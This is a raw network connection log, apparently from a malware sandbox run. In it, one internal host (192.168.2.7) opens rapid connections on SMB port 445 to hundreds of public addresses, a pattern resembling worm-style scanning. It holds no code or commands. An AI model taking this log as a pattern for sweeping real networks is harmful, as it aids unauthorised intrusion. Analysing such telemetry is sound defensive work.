Jul 20, 2022 19:33:43.845602036 CEST	58854	445	192.168.2.7	45.60.207.24
Jul 20, 2022 19:33:43.846697092 CEST	58854	445	192.168.2.7	45.60.207.24
Jul 20, 2022 19:33:43.847388029 CEST	58945	445	192.168.2.7	111.235.190.161
Jul 20, 2022 19:33:43.853924990 CEST	58947	445	192.168.2.7	16.114.156.194
Jul 20, 2022 19:33:43.862098932 CEST	445	58854	45.60.207.24	192.168.2.7
Jul 20, 2022 19:33:43.863089085 CEST	445	58854	45.60.207.24	192.168.2.7
Jul 20, 2022 19:33:43.878489971 CEST	445	58932	213.142.151.103	192.168.2.7
Jul 20, 2022 19:33:43.878709078 CEST	58932	445	192.168.2.7	213.142.151.103
Jul 20, 2022 19:33:43.884337902 CEST	58932	445	192.168.2.7	213.142.151.103
Jul 20, 2022 19:33:43.887933969 CEST	58949	445	192.168.2.7	213.142.151.103
Jul 20, 2022 19:33:43.906789064 CEST	445	58848	121.3.139.51	192.168.2.7
Jul 20, 2022 19:33:43.936306953 CEST	445	58932	213.142.151.103	192.168.2.7
Jul 20, 2022 19:33:43.936338902 CEST	445	58932	213.142.151.103	192.168.2.7
Jul 20, 2022 19:33:43.939475060 CEST	445	58949	213.142.151.103	192.168.2.7
Jul 20, 2022 19:33:43.939599991 CEST	58949	445	192.168.2.7	213.142.151.103
Jul 20, 2022 19:33:43.940360069 CEST	58949	445	192.168.2.7	213.142.151.103
Jul 20, 2022 19:33:43.965257883 CEST	445	58893	98.24.204.45	192.168.2.7
Jul 20, 2022 19:33:43.991776943 CEST	445	58949	213.142.151.103	192.168.2.7
Jul 20, 2022 19:33:44.377098083 CEST	58951	445	192.168.2.7	131.153.221.82
Jul 20, 2022 19:33:44.407475948 CEST	58848	445	192.168.2.7	121.3.139.51
Jul 20, 2022 19:33:44.471486092 CEST	58953	445	192.168.2.7	51.158.189.106
Jul 20, 2022 19:33:44.516868114 CEST	58893	445	192.168.2.7	98.24.204.45
Jul 20, 2022 19:33:44.544892073 CEST	445	58951	131.153.221.82	192.168.2.7
Jul 20, 2022 19:33:44.545049906 CEST	58951	445	192.168.2.7	131.153.221.82
Jul 20, 2022 19:33:44.545363903 CEST	58951	445	192.168.2.7	131.153.221.82
Jul 20, 2022 19:33:44.678634882 CEST	445	58893	98.24.204.45	192.168.2.7
Jul 20, 2022 19:33:44.687468052 CEST	445	58848	121.3.139.51	192.168.2.7
Jul 20, 2022 19:33:44.705631018 CEST	58954	445	192.168.2.7	121.3.139.52
Jul 20, 2022 19:33:44.714247942 CEST	445	58951	131.153.221.82	192.168.2.7
Jul 20, 2022 19:33:44.714498997 CEST	58951	445	192.168.2.7	131.153.221.82
Jul 20, 2022 19:33:44.882127047 CEST	445	58951	131.153.221.82	192.168.2.7
Jul 20, 2022 19:33:44.882385969 CEST	58951	445	192.168.2.7	131.153.221.82
Jul 20, 2022 19:33:44.908759117 CEST	58957	445	192.168.2.7	208.48.2.187
Jul 20, 2022 19:33:44.933434963 CEST	58965	445	192.168.2.7	38.125.234.223
Jul 20, 2022 19:33:44.934235096 CEST	58969	445	192.168.2.7	122.201.200.172
Jul 20, 2022 19:33:44.934247971 CEST	58966	445	192.168.2.7	210.110.136.22
Jul 20, 2022 19:33:44.934274912 CEST	58970	445	192.168.2.7	178.16.208.58
Jul 20, 2022 19:33:44.934504986 CEST	58976	445	192.168.2.7	72.54.228.45
Jul 20, 2022 19:33:44.934636116 CEST	58980	445	192.168.2.7	187.176.226.174
Jul 20, 2022 19:33:44.934788942 CEST	58981	445	192.168.2.7	109.50.205.153
Jul 20, 2022 19:33:44.934798002 CEST	58982	445	192.168.2.7	101.41.218.46
Jul 20, 2022 19:33:44.934946060 CEST	58988	445	192.168.2.7	113.75.142.133
Jul 20, 2022 19:33:44.935256004 CEST	58994	445	192.168.2.7	71.188.82.236
Jul 20, 2022 19:33:44.935257912 CEST	58993	445	192.168.2.7	30.231.200.174
Jul 20, 2022 19:33:44.935259104 CEST	58997	445	192.168.2.7	120.185.168.225
Jul 20, 2022 19:33:44.935290098 CEST	58995	445	192.168.2.7	181.239.200.230
Jul 20, 2022 19:33:44.935493946 CEST	58998	445	192.168.2.7	194.100.39.111
Jul 20, 2022 19:33:44.935493946 CEST	58999	445	192.168.2.7	89.66.128.43
Jul 20, 2022 19:33:44.948493004 CEST	59009	445	192.168.2.7	223.1.231.99
Jul 20, 2022 19:33:44.948759079 CEST	59016	445	192.168.2.7	215.130.245.181
Jul 20, 2022 19:33:44.948759079 CEST	59010	445	192.168.2.7	122.252.86.184
Jul 20, 2022 19:33:44.948790073 CEST	59017	445	192.168.2.7	222.59.113.214
Jul 20, 2022 19:33:44.948857069 CEST	59018	445	192.168.2.7	133.49.107.92
Jul 20, 2022 19:33:44.948887110 CEST	59019	445	192.168.2.7	104.34.247.173
Jul 20, 2022 19:33:44.948942900 CEST	59020	445	192.168.2.7	12.112.157.222
Jul 20, 2022 19:33:44.949194908 CEST	59028	445	192.168.2.7	148.198.167.158
Jul 20, 2022 19:33:44.977155924 CEST	59034	445	192.168.2.7	130.175.67.152
Jul 20, 2022 19:33:44.980886936 CEST	59047	445	192.168.2.7	76.220.113.6
Jul 20, 2022 19:33:44.981018066 CEST	59049	445	192.168.2.7	183.136.97.224
Jul 20, 2022 19:33:45.051947117 CEST	445	58951	131.153.221.82	192.168.2.7
Jul 20, 2022 19:33:45.052278996 CEST	58951	445	192.168.2.7	131.153.221.82
Jul 20, 2022 19:33:45.219749928 CEST	445	58951	131.153.221.82	192.168.2.7
Jul 20, 2022 19:33:45.219881058 CEST	58951	445	192.168.2.7	131.153.221.82
Jul 20, 2022 19:33:45.287698030 CEST	59051	445	192.168.2.7	131.153.221.83
Jul 20, 2022 19:33:45.389527082 CEST	445	58951	131.153.221.82	192.168.2.7
Jul 20, 2022 19:33:45.389552116 CEST	445	58951	131.153.221.82	192.168.2.7
Jul 20, 2022 19:33:45.454500914 CEST	445	59051	131.153.221.83	192.168.2.7
Jul 20, 2022 19:33:45.454627037 CEST	59051	445	192.168.2.7	131.153.221.83
Jul 20, 2022 19:33:45.472656965 CEST	59051	445	192.168.2.7	131.153.221.83
Jul 20, 2022 19:33:45.482369900 CEST	59052	445	192.168.2.7	131.153.221.83
Jul 20, 2022 19:33:45.575934887 CEST	59053	445	192.168.2.7	51.158.189.107
Jul 20, 2022 19:33:45.640041113 CEST	445	59052	131.153.221.83	192.168.2.7
Jul 20, 2022 19:33:45.640178919 CEST	59052	445	192.168.2.7	131.153.221.83
Jul 20, 2022 19:33:45.640352964 CEST	59052	445	192.168.2.7	131.153.221.83
Jul 20, 2022 19:33:45.641180992 CEST	445	59051	131.153.221.83	192.168.2.7
Jul 20, 2022 19:33:45.641206026 CEST	445	59051	131.153.221.83	192.168.2.7
Jul 20, 2022 19:33:45.784178019 CEST	59055	445	192.168.2.7	121.3.139.53
Jul 20, 2022 19:33:45.797990084 CEST	445	59052	131.153.221.83	192.168.2.7
Jul 20, 2022 19:33:45.807584047 CEST	59052	445	192.168.2.7	131.153.221.83
Jul 20, 2022 19:33:45.965245008 CEST	445	59052	131.153.221.83	192.168.2.7
Jul 20, 2022 19:33:45.965444088 CEST	59052	445	192.168.2.7	131.153.221.83
Jul 20, 2022 19:33:46.034890890 CEST	59061	445	192.168.2.7	216.170.63.210
Jul 20, 2022 19:33:46.055150986 CEST	59070	445	192.168.2.7	93.111.251.40
Jul 20, 2022 19:33:46.055152893 CEST	59069	445	192.168.2.7	124.159.167.8
Jul 20, 2022 19:33:46.055283070 CEST	59073	445	192.168.2.7	163.182.120.40
Jul 20, 2022 19:33:46.055331945 CEST	59074	445	192.168.2.7	40.225.219.71
Jul 20, 2022 19:33:46.089457989 CEST	59084	445	192.168.2.7	89.118.145.176
Jul 20, 2022 19:33:46.089622974 CEST	59091	445	192.168.2.7	166.225.88.36
Jul 20, 2022 19:33:46.089715958 CEST	59093	445	192.168.2.7	19.82.26.239
Jul 20, 2022 19:33:46.089775085 CEST	59094	445	192.168.2.7	79.227.151.98
Jul 20, 2022 19:33:46.089824915 CEST	59095	445	192.168.2.7	136.185.131.208
Jul 20, 2022 19:33:46.089864969 CEST	59096	445	192.168.2.7	61.193.160.125
Jul 20, 2022 19:33:46.090020895 CEST	59101	445	192.168.2.7	139.72.206.113
Jul 20, 2022 19:33:46.090061903 CEST	59102	445	192.168.2.7	83.31.138.36
Jul 20, 2022 19:33:46.090234995 CEST	59108	445	192.168.2.7	188.64.46.153
Jul 20, 2022 19:33:46.090281963 CEST	59109	445	192.168.2.7	82.32.51.25
Jul 20, 2022 19:33:46.090368032 CEST	59111	445	192.168.2.7	23.182.173.18
Jul 20, 2022 19:33:46.090418100 CEST	59112	445	192.168.2.7	221.56.183.239
Jul 20, 2022 19:33:46.090465069 CEST	59113	445	192.168.2.7	185.47.224.241
Jul 20, 2022 19:33:46.090517998 CEST	59114	445	192.168.2.7	66.92.239.48
Jul 20, 2022 19:33:46.090771914 CEST	59123	445	192.168.2.7	110.46.244.37
Jul 20, 2022 19:33:46.090951920 CEST	59129	445	192.168.2.7	209.165.217.139
Jul 20, 2022 19:33:46.091007948 CEST	59130	445	192.168.2.7	35.158.23.23
Jul 20, 2022 19:33:46.091053963 CEST	59131	445	192.168.2.7	49.179.227.74
Jul 20, 2022 19:33:46.091157913 CEST	59134	445	192.168.2.7	216.186.169.147
Jul 20, 2022 19:33:46.113996983 CEST	59135	445	192.168.2.7	89.217.174.129
Jul 20, 2022 19:33:46.114329100 CEST	59148	445	192.168.2.7	193.84.119.44
Jul 20, 2022 19:33:46.114418030 CEST	59150	445	192.168.2.7	117.94.22.33
Jul 20, 2022 19:33:46.122965097 CEST	445	59052	131.153.221.83	192.168.2.7
Jul 20, 2022 19:33:46.130656004 CEST	59052	445	192.168.2.7	131.153.221.83
Jul 20, 2022 19:33:46.288244009 CEST	445	59052	131.153.221.83	192.168.2.7
Jul 20, 2022 19:33:46.288567066 CEST	59052	445	192.168.2.7	131.153.221.83
Jul 20, 2022 19:33:46.446084023 CEST	445	59052	131.153.221.83	192.168.2.7
Jul 20, 2022 19:33:46.446119070 CEST	445	59052	131.153.221.83	192.168.2.7
Jul 20, 2022 19:33:46.645710945 CEST	59153	445	192.168.2.7	51.158.189.108
Jul 20, 2022 19:33:46.668607950 CEST	445	59153	51.158.189.108	192.168.2.7
Jul 20, 2022 19:33:46.668744087 CEST	59153	445	192.168.2.7	51.158.189.108
Jul 20, 2022 19:33:46.668760061 CEST	59153	445	192.168.2.7	51.158.189.108
Jul 20, 2022 19:33:46.679619074 CEST	59154	445	192.168.2.7	51.158.189.108
Jul 20, 2022 19:33:46.691612959 CEST	445	59153	51.158.189.108	192.168.2.7
Jul 20, 2022 19:33:46.691704988 CEST	59153	445	192.168.2.7	51.158.189.108
Jul 20, 2022 19:33:46.701980114 CEST	445	59154	51.158.189.108	192.168.2.7
Jul 20, 2022 19:33:46.702109098 CEST	59154	445	192.168.2.7	51.158.189.108
Jul 20, 2022 19:33:46.702276945 CEST	59154	445	192.168.2.7	51.158.189.108
Jul 20, 2022 19:33:46.724513054 CEST	445	59154	51.158.189.108	192.168.2.7
Jul 20, 2022 19:33:46.724598885 CEST	445	59154	51.158.189.108	192.168.2.7
Jul 20, 2022 19:33:46.862066984 CEST	59156	445	192.168.2.7	121.3.139.54
Jul 20, 2022 19:33:46.862524033 CEST	59157	445	192.168.2.7	45.60.207.24
Jul 20, 2022 19:33:46.882910967 CEST	445	59157	45.60.207.24	192.168.2.7
Jul 20, 2022 19:33:46.883043051 CEST	59157	445	192.168.2.7	45.60.207.24
Jul 20, 2022 19:33:46.883215904 CEST	59157	445	192.168.2.7	45.60.207.24
Jul 20, 2022 19:33:46.901776075 CEST	445	59157	45.60.207.24	192.168.2.7
Jul 20, 2022 19:33:46.901806116 CEST	445	59157	45.60.207.24	192.168.2.7
Jul 20, 2022 19:33:46.901856899 CEST	445	59157	45.60.207.24	192.168.2.7
Jul 20, 2022 19:33:46.901948929 CEST	59157	445	192.168.2.7	45.60.207.24
Jul 20, 2022 19:33:46.902043104 CEST	59157	445	192.168.2.7	45.60.207.24
Jul 20, 2022 19:33:46.902461052 CEST	59157	445	192.168.2.7	45.60.207.24
Jul 20, 2022 19:33:46.920303106 CEST	445	59157	45.60.207.24	192.168.2.7
Jul 20, 2022 19:33:46.920324087 CEST	445	59157	45.60.207.24	192.168.2.7
Jul 20, 2022 19:33:46.956650972 CEST	59158	445	192.168.2.7	45.60.207.25
Jul 20, 2022 19:33:46.973335981 CEST	445	59158	45.60.207.25	192.168.2.7
Jul 20, 2022 19:33:46.973472118 CEST	59158	445	192.168.2.7	45.60.207.25
Jul 20, 2022 19:33:46.973524094 CEST	59158	445	192.168.2.7	45.60.207.25
Jul 20, 2022 19:33:46.975399971 CEST	59159	445	192.168.2.7	45.60.207.25
Jul 20, 2022 19:33:46.990215063 CEST	445	59158	45.60.207.25	192.168.2.7
Jul 20, 2022 19:33:46.990346909 CEST	59158	445	192.168.2.7	45.60.207.25
Jul 20, 2022 19:33:46.991961956 CEST	445	59159	45.60.207.25	192.168.2.7
Jul 20, 2022 19:33:46.992244005 CEST	59159	445	192.168.2.7	45.60.207.25
Jul 20, 2022 19:33:46.992259026 CEST	59159	445	192.168.2.7	45.60.207.25
Jul 20, 2022 19:33:47.002429962 CEST	59160	445	192.168.2.7	213.142.151.103
Jul 20, 2022 19:33:47.008821011 CEST	445	59159	45.60.207.25	192.168.2.7
Jul 20, 2022 19:33:47.008858919 CEST	445	59159	45.60.207.25	192.168.2.7
Jul 20, 2022 19:33:47.008877993 CEST	445	59159	45.60.207.25	192.168.2.7
Jul 20, 2022 19:33:47.009046078 CEST	59159	445	192.168.2.7	45.60.207.25
Jul 20, 2022 19:33:47.009061098 CEST	59159	445	192.168.2.7	45.60.207.25
Jul 20, 2022 19:33:47.010014057 CEST	59159	445	192.168.2.7	45.60.207.25
Jul 20, 2022 19:33:47.026875973 CEST	445	59159	45.60.207.25	192.168.2.7
Jul 20, 2022 19:33:47.027507067 CEST	445	59159	45.60.207.25	192.168.2.7
Jul 20, 2022 19:33:47.056463957 CEST	445	59160	213.142.151.103	192.168.2.7
Jul 20, 2022 19:33:47.056617022 CEST	59160	445	192.168.2.7	213.142.151.103
Jul 20, 2022 19:33:47.056802034 CEST	59160	445	192.168.2.7	213.142.151.103
Jul 20, 2022 19:33:47.109447002 CEST	445	59160	213.142.151.103	192.168.2.7
Jul 20, 2022 19:33:47.161185026 CEST	59167	445	192.168.2.7	68.207.177.8
Jul 20, 2022 19:33:47.187206030 CEST	59168	445	192.168.2.7	213.142.151.104
Jul 20, 2022 19:33:47.194417953 CEST	59170	445	192.168.2.7	178.18.241.72
Jul 20, 2022 19:33:47.195281029 CEST	59174	445	192.168.2.7	141.147.102.71
Jul 20, 2022 19:33:47.195308924 CEST	59176	445	192.168.2.7	98.69.156.17
Jul 20, 2022 19:33:47.195362091 CEST	59178	445	192.168.2.7	61.185.152.89
Jul 20, 2022 19:33:47.230077028 CEST	59187	445	192.168.2.7	32.202.199.146
Jul 20, 2022 19:33:47.230159998 CEST	59190	445	192.168.2.7	215.237.244.212
Jul 20, 2022 19:33:47.230163097 CEST	59189	445	192.168.2.7	208.39.253.9
Jul 20, 2022 19:33:47.230258942 CEST	59192	445	192.168.2.7	108.213.42.52
Jul 20, 2022 19:33:47.230298042 CEST	59193	445	192.168.2.7	9.196.78.46
Jul 20, 2022 19:33:47.230345964 CEST	59194	445	192.168.2.7	11.134.159.13
Jul 20, 2022 19:33:47.230843067 CEST	59208	445	192.168.2.7	23.11.119.218
Jul 20, 2022 19:33:47.230876923 CEST	59209	445	192.168.2.7	186.126.229.33
Jul 20, 2022 19:33:47.230904102 CEST	59210	445	192.168.2.7	46.238.250.95
Jul 20, 2022 19:33:47.230948925 CEST	59211	445	192.168.2.7	142.208.43.40
Jul 20, 2022 19:33:47.231182098 CEST	59218	445	192.168.2.7	209.118.208.15
Jul 20, 2022 19:33:47.231414080 CEST	59227	445	192.168.2.7	78.197.76.130
Jul 20, 2022 19:33:47.231450081 CEST	59228	445	192.168.2.7	9.131.212.10
Jul 20, 2022 19:33:47.231512070 CEST	59230	445	192.168.2.7	62.147.26.187
Jul 20, 2022 19:33:47.231564999 CEST	59231	445	192.168.2.7	173.5.120.106
Jul 20, 2022 19:33:47.231647968 CEST	59232	445	192.168.2.7	197.178.31.142
Jul 20, 2022 19:33:47.231699944 CEST	59236	445	192.168.2.7	140.213.201.161
Jul 20, 2022 19:33:47.231714964 CEST	59203	445	192.168.2.7	154.137.153.144
Jul 20, 2022 19:33:47.231750965 CEST	59237	445	192.168.2.7	173.154.187.43
Jul 20, 2022 19:33:47.245842934 CEST	445	59168	213.142.151.104	192.168.2.7
Jul 20, 2022 19:33:47.245946884 CEST	59168	445	192.168.2.7	213.142.151.104
Jul 20, 2022 19:33:47.245991945 CEST	59168	445	192.168.2.7	213.142.151.104
Jul 20, 2022 19:33:47.271306992 CEST	59241	445	192.168.2.7	173.101.217.244
Jul 20, 2022 19:33:47.271656036 CEST	59254	445	192.168.2.7	149.173.55.198
Jul 20, 2022 19:33:47.271734953 CEST	59256	445	192.168.2.7	97.11.212.205
Jul 20, 2022 19:33:47.306575060 CEST	445	59168	213.142.151.104	192.168.2.7
Jul 20, 2022 19:33:47.306601048 CEST	445	59168	213.142.151.104	192.168.2.7
Jul 20, 2022 19:33:47.307935953 CEST	59258	445	192.168.2.7	213.142.151.104
Jul 20, 2022 19:33:47.364522934 CEST	445	59258	213.142.151.104	192.168.2.7
Jul 20, 2022 19:33:47.364634037 CEST	59258	445	192.168.2.7	213.142.151.104
Jul 20, 2022 19:33:47.364809990 CEST	59258	445	192.168.2.7	213.142.151.104
Jul 20, 2022 19:33:47.421190023 CEST	445	59258	213.142.151.104	192.168.2.7
Jul 20, 2022 19:33:47.956060886 CEST	59261	445	192.168.2.7	121.3.139.55
Jul 20, 2022 19:33:48.289655924 CEST	59269	445	192.168.2.7	171.71.156.102
Jul 20, 2022 19:33:48.332328081 CEST	59272	445	192.168.2.7	74.215.133.19
Jul 20, 2022 19:33:48.338432074 CEST	59274	445	192.168.2.7	213.213.65.232
Jul 20, 2022 19:33:48.338573933 CEST	59276	445	192.168.2.7	22.69.239.75
Jul 20, 2022 19:33:48.338783026 CEST	59284	445	192.168.2.7	123.166.205.141
Jul 20, 2022 19:33:48.412372112 CEST	59287	445	192.168.2.7	125.216.2.69
Jul 20, 2022 19:33:48.414251089 CEST	59288	445	192.168.2.7	90.237.80.182
Jul 20, 2022 19:33:48.414298058 CEST	59289	445	192.168.2.7	151.197.24.208
Jul 20, 2022 19:33:48.414475918 CEST	59294	445	192.168.2.7	200.33.93.209
Jul 20, 2022 19:33:48.414726019 CEST	59302	445	192.168.2.7	37.145.16.95
Jul 20, 2022 19:33:48.414789915 CEST	59303	445	192.168.2.7	205.202.253.109
Jul 20, 2022 19:33:48.414836884 CEST	59304	445	192.168.2.7	116.168.73.205
Jul 20, 2022 19:33:48.414905071 CEST	59305	445	192.168.2.7	195.208.139.75
Jul 20, 2022 19:33:48.414978027 CEST	59307	445	192.168.2.7	107.29.115.12
Jul 20, 2022 19:33:48.415029049 CEST	59308	445	192.168.2.7	89.27.189.210
Jul 20, 2022 19:33:48.426671028 CEST	59319	445	192.168.2.7	111.182.171.220
Jul 20, 2022 19:33:48.426769018 CEST	59320	445	192.168.2.7	52.22.60.12
Jul 20, 2022 19:33:48.426852942 CEST	59321	445	192.168.2.7	180.208.79.213
Jul 20, 2022 19:33:48.427194118 CEST	59329	445	192.168.2.7	177.197.203.213
Jul 20, 2022 19:33:48.427347898 CEST	59332	445	192.168.2.7	129.124.63.51
Jul 20, 2022 19:33:48.427460909 CEST	59334	445	192.168.2.7	160.158.56.158
Jul 20, 2022 19:33:48.427670002 CEST	59338	445	192.168.2.7	143.48.108.86
Jul 20, 2022 19:33:48.427730083 CEST	59339	445	192.168.2.7	165.195.173.115
Jul 20, 2022 19:33:48.427876949 CEST	59340	445	192.168.2.7	101.2.196.106
Jul 20, 2022 19:33:48.450603008 CEST	59342	445	192.168.2.7	108.194.144.90
Jul 20, 2022 19:33:48.450927973 CEST	59355	445	192.168.2.7	122.138.116.248
Jul 20, 2022 19:33:48.451061964 CEST	59357	445	192.168.2.7	42.138.68.27
Jul 20, 2022 19:33:49.033658028 CEST	59361	445	192.168.2.7	121.3.139.56
Jul 20, 2022 19:33:49.299746037 CEST	59363	445	192.168.2.7	131.153.221.83
Jul 20, 2022 19:33:49.430145979 CEST	59370	445	192.168.2.7	69.219.167.16
Jul 20, 2022 19:33:49.460593939 CEST	445	59363	131.153.221.83	192.168.2.7
Jul 20, 2022 19:33:49.460705996 CEST	59363	445	192.168.2.7	131.153.221.83
Jul 20, 2022 19:33:49.462205887 CEST	59363	445	192.168.2.7	131.153.221.83
Jul 20, 2022 19:33:49.462502956 CEST	59373	445	192.168.2.7	187.214.226.51
Jul 20, 2022 19:33:49.462613106 CEST	59376	445	192.168.2.7	10.48.135.10
Jul 20, 2022 19:33:49.462829113 CEST	59379	445	192.168.2.7	188.2.76.248
Jul 20, 2022 19:33:49.462951899 CEST	59385	445	192.168.2.7	198.175.184.203
Jul 20, 2022 19:33:49.559914112 CEST	59387	445	192.168.2.7	209.34.57.173
Jul 20, 2022 19:33:49.609345913 CEST	59389	445	192.168.2.7	109.102.109.180
Jul 20, 2022 19:33:49.610573053 CEST	59390	445	192.168.2.7	187.29.35.131
Jul 20, 2022 19:33:49.610836983 CEST	59398	445	192.168.2.7	131.150.120.62
Jul 20, 2022 19:33:49.611974001 CEST	59402	445	192.168.2.7	149.205.231.228
Jul 20, 2022 19:33:49.612059116 CEST	59403	445	192.168.2.7	145.82.78.113
Jul 20, 2022 19:33:49.612365961 CEST	59406	445	192.168.2.7	55.225.212.6
Jul 20, 2022 19:33:49.612571955 CEST	59408	445	192.168.2.7	13.170.62.82
Jul 20, 2022 19:33:49.612623930 CEST	59409	445	192.168.2.7	5.176.113.242
Jul 20, 2022 19:33:49.612828970 CEST	59412	445	192.168.2.7	129.55.113.174
Jul 20, 2022 19:33:49.613337994 CEST	59425	445	192.168.2.7	54.126.23.246
Jul 20, 2022 19:33:49.613445997 CEST	59427	445	192.168.2.7	206.112.1.11
Jul 20, 2022 19:33:49.613539934 CEST	59429	445	192.168.2.7	15.2.105.218
Jul 20, 2022 19:33:49.613925934 CEST	59438	445	192.168.2.7	183.0.221.112
Jul 20, 2022 19:33:49.613996983 CEST	59439	445	192.168.2.7	167.144.68.209
Jul 20, 2022 19:33:49.614206076 CEST	59444	445	192.168.2.7	63.202.138.28
Jul 20, 2022 19:33:49.614484072 CEST	59451	445	192.168.2.7	74.198.30.39
Jul 20, 2022 19:33:49.614586115 CEST	59453	445	192.168.2.7	19.221.164.8
Jul 20, 2022 19:33:49.614656925 CEST	59454	445	192.168.2.7	35.44.4.217
Jul 20, 2022 19:33:49.614722967 CEST	59455	445	192.168.2.7	166.254.127.22
Jul 20, 2022 19:33:49.614823103 CEST	59457	445	192.168.2.7	37.5.162.111
Jul 20, 2022 19:33:49.614900112 CEST	59458	445	192.168.2.7	126.125.243.99
Jul 20, 2022 19:33:49.622879028 CEST	445	59363	131.153.221.83	192.168.2.7
Jul 20, 2022 19:33:49.623056889 CEST	59363	445	192.168.2.7	131.153.221.83
Jul 20, 2022 19:33:49.704490900 CEST	445	59387	209.34.57.173	192.168.2.7
Jul 20, 2022 19:33:49.737004042 CEST	59461	445	192.168.2.7	51.158.189.108
Jul 20, 2022 19:33:49.759430885 CEST	445	59461	51.158.189.108	192.168.2.7
Jul 20, 2022 19:33:49.759596109 CEST	59461	445	192.168.2.7	51.158.189.108
Jul 20, 2022 19:33:49.759802103 CEST	59461	445	192.168.2.7	51.158.189.108
Jul 20, 2022 19:33:49.782361984 CEST	445	59461	51.158.189.108	192.168.2.7
Jul 20, 2022 19:33:49.783067942 CEST	445	59461	51.158.189.108	192.168.2.7
Jul 20, 2022 19:33:49.783572912 CEST	445	59363	131.153.221.83	192.168.2.7
Jul 20, 2022 19:33:49.783770084 CEST	59363	445	192.168.2.7	131.153.221.83
Jul 20, 2022 19:33:49.846872091 CEST	59462	445	192.168.2.7	51.158.189.109
Jul 20, 2022 19:33:49.870156050 CEST	445	59462	51.158.189.109	192.168.2.7
Jul 20, 2022 19:33:49.870352030 CEST	59462	445	192.168.2.7	51.158.189.109
Jul 20, 2022 19:33:49.870378017 CEST	59462	445	192.168.2.7	51.158.189.109
Jul 20, 2022 19:33:49.872859955 CEST	59463	445	192.168.2.7	51.158.189.109
Jul 20, 2022 19:33:49.893959999 CEST	445	59462	51.158.189.109	192.168.2.7
Jul 20, 2022 19:33:49.894125938 CEST	59462	445	192.168.2.7	51.158.189.109
Jul 20, 2022 19:33:49.895648956 CEST	445	59463	51.158.189.109	192.168.2.7
Jul 20, 2022 19:33:49.895834923 CEST	59463	445	192.168.2.7	51.158.189.109
Jul 20, 2022 19:33:49.896032095 CEST	59463	445	192.168.2.7	51.158.189.109
Jul 20, 2022 19:33:49.918035984 CEST	445	59463	51.158.189.109	192.168.2.7
Jul 20, 2022 19:33:49.918057919 CEST	445	59463	51.158.189.109	192.168.2.7
Jul 20, 2022 19:33:49.918241024 CEST	59463	445	192.168.2.7	51.158.189.109
Jul 20, 2022 19:33:49.918337107 CEST	59463	445	192.168.2.7	51.158.189.109
Jul 20, 2022 19:33:49.918673038 CEST	59463	445	192.168.2.7	51.158.189.109
Jul 20, 2022 19:33:49.940817118 CEST	445	59463	51.158.189.109	192.168.2.7
Jul 20, 2022 19:33:49.940860987 CEST	445	59463	51.158.189.109	192.168.2.7
Jul 20, 2022 19:33:49.944277048 CEST	445	59363	131.153.221.83	192.168.2.7
Jul 20, 2022 19:33:49.947433949 CEST	59363	445	192.168.2.7	131.153.221.83
Jul 20, 2022 19:33:50.064812899 CEST	59464	445	192.168.2.7	45.60.207.25
Jul 20, 2022 19:33:50.081423998 CEST	445	59464	45.60.207.25	192.168.2.7
Jul 20, 2022 19:33:50.081547022 CEST	59464	445	192.168.2.7	45.60.207.25
Jul 20, 2022 19:33:50.082143068 CEST	59464	445	192.168.2.7	45.60.207.25
Jul 20, 2022 19:33:50.098634005 CEST	445	59464	45.60.207.25	192.168.2.7
Jul 20, 2022 19:33:50.098659039 CEST	445	59464	45.60.207.25	192.168.2.7
Jul 20, 2022 19:33:50.098671913 CEST	445	59464	45.60.207.25	192.168.2.7
Jul 20, 2022 19:33:50.098732948 CEST	59464	445	192.168.2.7	45.60.207.25
Jul 20, 2022 19:33:50.098869085 CEST	59464	445	192.168.2.7	45.60.207.25
Jul 20, 2022 19:33:50.099116087 CEST	59464	445	192.168.2.7	45.60.207.25
Jul 20, 2022 19:33:50.107847929 CEST	445	59363	131.153.221.83	192.168.2.7
Jul 20, 2022 19:33:50.107971907 CEST	59363	445	192.168.2.7	131.153.221.83
Jul 20, 2022 19:33:50.116909981 CEST	445	59464	45.60.207.25	192.168.2.7
Jul 20, 2022 19:33:50.116930962 CEST	445	59464	45.60.207.25	192.168.2.7
Jul 20, 2022 19:33:50.127985001 CEST	59465	445	192.168.2.7	121.3.139.57
Jul 20, 2022 19:33:50.159598112 CEST	59466	445	192.168.2.7	45.60.207.26
Jul 20, 2022 19:33:50.177772045 CEST	445	59466	45.60.207.26	192.168.2.7
Jul 20, 2022 19:33:50.177974939 CEST	59466	445	192.168.2.7	45.60.207.26
Jul 20, 2022 19:33:50.180546999 CEST	59466	445	192.168.2.7	45.60.207.26
Jul 20, 2022 19:33:50.182334900 CEST	59469	445	192.168.2.7	131.153.221.84
Jul 20, 2022 19:33:50.184981108 CEST	59470	445	192.168.2.7	45.60.207.26
Jul 20, 2022 19:33:50.197418928 CEST	445	59466	45.60.207.26	192.168.2.7
Jul 20, 2022 19:33:50.197518110 CEST	59466	445	192.168.2.7	45.60.207.26
Jul 20, 2022 19:33:50.201997042 CEST	445	59470	45.60.207.26	192.168.2.7
Jul 20, 2022 19:33:50.202151060 CEST	59470	445	192.168.2.7	45.60.207.26
Jul 20, 2022 19:33:50.202380896 CEST	59470	445	192.168.2.7	45.60.207.26
Jul 20, 2022 19:33:50.219299078 CEST	445	59470	45.60.207.26	192.168.2.7
Jul 20, 2022 19:33:50.219330072 CEST	445	59470	45.60.207.26	192.168.2.7
Jul 20, 2022 19:33:50.219346046 CEST	445	59470	45.60.207.26	192.168.2.7
Jul 20, 2022 19:33:50.219477892 CEST	59470	445	192.168.2.7	45.60.207.26
Jul 20, 2022 19:33:50.219540119 CEST	59470	445	192.168.2.7	45.60.207.26
Jul 20, 2022 19:33:50.219779968 CEST	59470	445	192.168.2.7	45.60.207.26
Jul 20, 2022 19:33:50.220469952 CEST	59387	445	192.168.2.7	209.34.57.173
Jul 20, 2022 19:33:50.236057043 CEST	445	59470	45.60.207.26	192.168.2.7
Jul 20, 2022 19:33:50.236171007 CEST	445	59470	45.60.207.26	192.168.2.7
Jul 20, 2022 19:33:50.272279024 CEST	445	59363	131.153.221.83	192.168.2.7
Jul 20, 2022 19:33:50.272315025 CEST	445	59363	131.153.221.83	192.168.2.7
Jul 20, 2022 19:33:50.348372936 CEST	445	59469	131.153.221.84	192.168.2.7
Jul 20, 2022 19:33:50.348464966 CEST	59469	445	192.168.2.7	131.153.221.84
Jul 20, 2022 19:33:50.348659992 CEST	59469	445	192.168.2.7	131.153.221.84
Jul 20, 2022 19:33:50.351511002 CEST	59471	445	192.168.2.7	131.153.221.84
Jul 20, 2022 19:33:50.364871025 CEST	445	59387	209.34.57.173	192.168.2.7
Jul 20, 2022 19:33:50.425291061 CEST	59474	445	192.168.2.7	213.142.151.104
